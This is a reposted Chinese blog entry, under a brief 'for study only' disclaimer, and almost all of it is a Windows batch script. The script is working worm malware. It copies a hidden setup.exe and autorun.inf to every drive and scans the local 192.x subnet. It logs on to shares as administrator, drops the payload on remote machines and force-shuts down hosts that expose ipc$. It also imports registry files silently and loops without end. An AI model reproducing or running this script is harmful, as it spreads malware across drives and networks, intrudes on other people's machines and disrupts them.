仅供学习,大家不要做违法的事,切记!
- @echo off
- set hty1=%windir%\system32\
- :sm
- attrib -r -s -h %hty1%setup.exe & attrib -r -s -h %hty1%autorun.inf
- for %%i in (d e f g h i j k l m n o p q r s t u v w x y z) do (
- fsutil fsinfo drives | findstr /i %%i || goto attr
- dir /a/b %%i:\autorun.inf && attrib -r -s -h %%i:\autorun.inf
- copy %hty1%autorun.inf %%i: & attrib +r +s +h %%i:\autorun.inf
- dir /a/b %%i:\setup.exe || (copy %hty1%setup.exe %%i: && attrib +r +s +h %%i:\setup.exe)
- )
- :attr
- attrib +r +s +h %hty1%setup.exe & attrib +r +s +h %hty1%autorun.inf
- ipconfig /all |find /i "ip address" || (ping 127.1 -n 10 && goto sm)
- for /f "tokens=15" %%i in ('ipconfig /all^|find /i "ip address"') do (
- for /f "tokens=1-3 delims=." %%a in ("%%i") do (
- if %%a EQU 192 (
- for /l %%e in (1,1,255) do (
- ping %%a.%%b.%%c.%%e -n 1 -l 1 -w 1 &&(
- for /f "skip=7 eol=命" %%t in ('net view \\%%a.%%b.%%c.%%e') do (
- if "%%t" NEQ "" (
- net use \\%%a.%%b.%%c.%%e\%%t /u:administrator && (attrib -r -s -h %hty1%setup.exe && copy %hty1%setup.exe \\%%a.%%b.%%c.%%e\%%t && attrib +r +s +h %hty1%setup.exe)
- if "%%t" EQU "ipc$" shutdown -s -f -t 0 -m \\%%a.%%b.%%c.%%e
- )
- ))
- )
- ) else ping 127.1 -n 20
- )
- )
- regedit /s %windir%\system32\expl.reg>nul 2>nul
- regedit /s %windir%\system32\high.reg>nul 2>nul
- goto sm
本文转自sucre03 51CTO博客,原文链接:http://blog.51cto.com/sucre/413001,如需转载请自行联系原作者